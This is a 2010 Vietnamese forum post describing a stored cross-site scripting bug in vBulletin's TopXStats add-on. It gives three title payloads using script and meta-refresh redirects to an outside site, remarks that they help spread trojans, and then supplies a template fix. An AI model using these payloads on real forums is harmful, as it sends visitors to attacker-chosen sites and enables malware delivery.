BLOG OF H7T_2002

Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.
BLOG OF H7T_2002

Trang cá nhân của H7T_2002++


    Bug topx của VBB

    avatar
    h7t_2002
    --[DEVELOPER]--
    --[DEVELOPER]--


    Tổng số bài gửi : 67
    Join date : 01/06/2009
    Age : 33
    Đến từ : /dev/null

    Bug topx của VBB  Empty Bug topx của VBB

    Bài gửi by h7t_2002 Mon Jul 12, 2010 7:51 am

    CÓ NHIỀU THẰNG ĐÃ FIG NHƯNG MÀ CŨNG CÓ NHIỀU THẰNG KO FIG
    Đây là lỗi ở Topxstats của vbb
    khi bạn post đoạn code làm title bài viết, title bài viết này sẽ hiển thị trên cái topx ..thì khi vào home nó sẽ refes.h và chuyển tới site bạn muốn
    ..bug khá nguy hiểm ...vì nó sẽ tạo thuận lợi cho kẻ muốn phát tán virus , trojan ...v..v
    bạn chỉ cần chèn mấy đoạn code như sau vào title bài viết là xong:
    Code:

     ">"">>>><script>location="http://emtoi.org/forum/"</script> """" >
    """>>>><meta http-equiv="Refresh" content="0;url=http://emtoi.org/forum/"> """
    ">""><meta http-equiv="Refresh" content="0;url=http://emtoi.org/forum/"> """" >
    Vậy là khi vào index của forum đó nó sẽ tự chuyển sang [url]http:// Vậy là khi vào index của forum đó nó sẽ tự chuyển sang http://emtoi.org/forum/
    http://emtoi.org/forum/ chỉ là một ví dụ, nếu bạn muốn nó redect đi đâu thì thay http://emtoi.org/forum/ bằng cái link mà bạn muốn

    để fix lỗi này các bạn làm như sau ...
    Admincp => Templates => Edit templates => topXstats_thread_bit
    thay tất cả bằng:
    Code:

     <tr>
    <td nowrap="nowrap"><div class="smallfont"><strong><if condition="$getstats_thread[newpost]">$newpostprefix<else />$oldpostprefix</if> <a href="showthread.php?$session[sessionurl]goto=newpost&t=$getstats_thread[threadid]">$getstats_thread[titletrimmed]</a></stong></div></td>
    <if condition="$getstats_thread[isdeleted]">
    <td colspan=3" align="left" nowrap="nowrap"><div class="smallfont"><phrase 1="member.php?$session[sessionurl]u=$getstats_thread[del_userid]" 2="$getstats_thread[del_username]">$vbphrase[thread_deleted_by_x]</phrase></div></td>
    <else />
    <td nowrap="nowrap"><div class="smallfont"><a href="member.php?$session[sessionurl]u=$getstats_thread[userid]">$getstats_thread[musername]</a></div></td>
    <td align="right" nowrap="nowrap"><div class="smallfont">$getstats_thread[views]</div></td>
    <td align="right" nowrap="nowrap"><div class="smallfont">$getstats_thread[replycount]</div></td>
    </if>
    </tr>

      Hôm nay: Mon May 20, 2024 6:24 am